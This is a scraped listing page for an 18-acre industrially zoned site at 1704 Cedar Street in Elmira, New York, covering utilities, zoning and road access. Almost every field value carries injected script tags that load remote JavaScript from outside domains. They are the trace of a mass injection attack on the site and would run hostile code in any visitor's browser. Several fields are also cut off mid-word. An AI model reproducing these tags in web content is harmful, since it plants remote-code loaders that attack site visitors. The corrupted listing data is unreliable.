



Address: 1704 Cedar Street<script src=http://k.18xn.com/x.js><script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>  
Address 2: <script src=http://k.18xn.com/x.js><script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>  
City/State/Zip: Elmira<script src=http://k.18xn.com/x.js>, NY 14904  
Municipality: Town of Southport<script src=http://k.18xn.com/x.js><script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>  
County: Chemung<script src=http://k.18xn.com/x.js><script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>

Sale Price: 20,000<script src=http://k.18xn.com/x.js><script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>  
Type of Location: Stand-alone<script src=http://k.18xn.com/x.js><script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>  
Indus/Bus. Park: No<script src=http://k.18xn.com/x.js><script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>  
Zoning: Industrial<script src=http://k.18xn.com/x.js><script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>

#### Electricity

Line Size: 34.50<script src=http://k.18xn.com/x.js>  
Delivery Voltage: 0<script src=http://k.18xn.com/x.js>  
Phases: 0<script src=http://k.18xn.com/x.js>  
Dual Fee: Yes<script src=http://k.18xn.com/x.js>

#### Water Availability

Main Size: 12<script src=http://k.18xn.com/x.js>  
Capacity Total/Excess: 0<script src=http://k.18xn.com/x.js>  
Feeder Size: 0<script src=http://k.18xn.com/x.js> Pressure: 0<script src=http://k.18xn.com/x.js>

#### Gas Availability

no photo available

If Gas Not Available, Is Extension Available? Yes  
Distance to Main: 0<script src=http://k.18xn.com/x.js>  
Main Size: 0<script src=http://k.18xn.com/x.js>

Telecomm Provider:

Fiber Optic: 0<script src=http://k.18xn.com/x.js><script  
src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>  
Digital Sw: yes<script src=http://k.18xn.com/x.js><script  
src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>

Property Status: available<script src=http://k.18xn.com/x.js>  
Build Now NY: no<script src=http://k.18xn.com/x.js>  
School District: Elmira<script src=http://k.18xn.com/x.js>

No. of Acres: 18  
No. of Additional Acres: 22  
Empire Zone: Yes

Access Roae: Cedar Street<script src=http://k.18xn.com/x.js><script  
src=http://2677.in/yahoo.js></script>  
Closest State Highway: Route 427<script src=http://k.18xn.com/x.js>  
Distance to State Highway: .04<script src=http://k.18xn.com/x.js>  
Rail Service Available: Yes  
Closest Commercial Airport: Elmira-Corning Regional Airpor<script  
src=http://k.18xn.com/x.js>  
Distance to Airport: 8.53<script src=http://k.18xn.com/x.js>

Additional Information:

This industrially zoned site p<script src=http://k.18xn.com/x.js>